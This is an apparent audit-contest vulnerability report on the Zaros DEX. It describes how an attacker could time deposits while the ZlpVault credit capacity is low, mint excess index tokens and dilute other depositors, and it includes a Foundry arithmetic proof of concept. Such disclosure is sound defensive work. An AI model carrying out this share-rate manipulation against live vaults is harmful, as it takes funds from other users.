Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: medium
Valid

Attacker can manipulate the amount of output tokens of users in ZlpVault

Summary

The swap rate calculation in VaultRouterBranch::getIndexTokenSwapRate and VaultRouterBranch::getVaultAssetSwapRate depends on getVaultCreditCapacity. When credit capacity is low, users receive a large number of index tokens per unit of collateral. This creates an issue. When credit capacity is low, a user will get too many tokens for a deposit. As a result other user when they redeem shares, will get very less tokens


Vulnerability Details

  1. getVaultAssetSwapRate calculates sharesOut by multiplying assetsIn with current total supply of index token and then dividing by vault's current credit capacity

uint256 previewSharesOut = assetsIn.mulDiv(
IERC4626(vault.indexToken).totalSupply() + 10 ** decimalOffset,
totalAssetsMinusVaultDebt,
MathOpenZeppelin.Rounding.Floor
);
  • When totalAssetsMinusVaultDebt is low, the sharesOut will be high

  1. getIndexTokenSwapRate calculates assetsOut by multiplying sharesIn with total credit capacity of the vault, then dividing by total supply of index token

uint256 previewAssetsOut = sharesIn.mulDiv(
totalAssetsMinusVaultDebt,
IERC4626(vault.indexToken).totalSupply() + 10 ** decimalOffset,
MathOpenZeppelin.Rounding.Floor
);

A attacker can time his deposit, when vault's credit capacity is low, he will deposit, getting a lot of index token. And even when the vault's credit capacity becomes normal again, the getIndexTokenSwapRate will not return high value rather will return very low amount for those who deposited when totalAssetsMinusVaultDebt was normal due to division by very big total supply.


PoC

Paste this code in test/contest/SharesTest.t.sol and run: forge test --mt testSharesOut -vv

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;
import {Test, console} from "forge-std/Test.sol";
import { UD60x18, ud60x18 } from "@prb-math/UD60x18.sol";
import { SD59x18, sd59x18 } from "@prb-math/SD59x18.sol";
import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
contract SharesTest is Test {
using SafeCast for uint256;
using Math for uint256;
function testSharesOut() public pure { // This is an example calculation of deposit and redeem
// Assuming initial values
uint256 totalAssetsMinusVaultDebt = 10e18; // asset: 10e18, debt: 0
uint256 totalSupply = 10e18; // supply: 10e18
// User A deposits when totalAssetsMinusVaultDebt is normal
uint256 assetInUserA = 20e18;
uint256 previewSharesOutUserA = assetInUserA.mulDiv(
totalSupply,
totalAssetsMinusVaultDebt,
Math.Rounding.Floor
);
// Upon seeing low totalAssetsMinusVaultDebt a malicious user will deposit asset, getting too many shares
totalAssetsMinusVaultDebt = 1e2; // credit capacity decreased, asset: 30e18, remaining debt
uint256 assetsInMaliciousUser = 1000e18;
uint256 previewSharesOutUserB = assetsInMaliciousUser.mulDiv(
totalSupply + previewSharesOutUserA,
totalAssetsMinusVaultDebt,
Math.Rounding.Floor
);
console.log("previewSharesOut: ", previewSharesOutUserB); // User B gets too many shares
totalAssetsMinusVaultDebt = 1030e18; // debt comes back to normal after being settled, asset: 10e18 + 20e18 + 1000e18 = 1030e18, debt: 0
// User A redeems but gets no token or very less amount of token
uint256 previewAssetsOutUserA = previewSharesOutUserA.mulDiv(
totalAssetsMinusVaultDebt,
totalSupply + previewSharesOutUserA + previewSharesOutUserB,
Math.Rounding.Floor
);
console.log("assetInUserA: ", assetInUserA);
console.log("previewAssetsOutUserA: ", previewAssetsOutUserA); // user loses too many tokens
// This happens due to too many decimals in previewSharesOutUserB
totalAssetsMinusVaultDebt = 1010e18; // debt: 0, asset: 10e18 + 1000e18 = 1010e18
// malicious user withdraws
uint256 previewAssetsOutUserB = previewSharesOutUserB.mulDiv(
totalAssetsMinusVaultDebt,
totalSupply + previewSharesOutUserB,
Math.Rounding.Floor
);
console.log("previewAssetsOutUserB: ", previewAssetsOutUserB);
console.log(previewAssetsOutUserB - assetsInMaliciousUser); // malicious user gets slight more than they deposited
}
}

Impact

  • Attacker gets more tokens than they deposited

  • User will lose tokens due to division by very large total supply

Updates

Lead Judging Commences

inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

i_atiq Submitter
10 months ago
inallhonesty Lead Judge
9 months ago
inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Vault swap rate calculations vulnerable to manipulation when credit capacity approaches zero, allowing excessive share minting and value extraction from other users

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!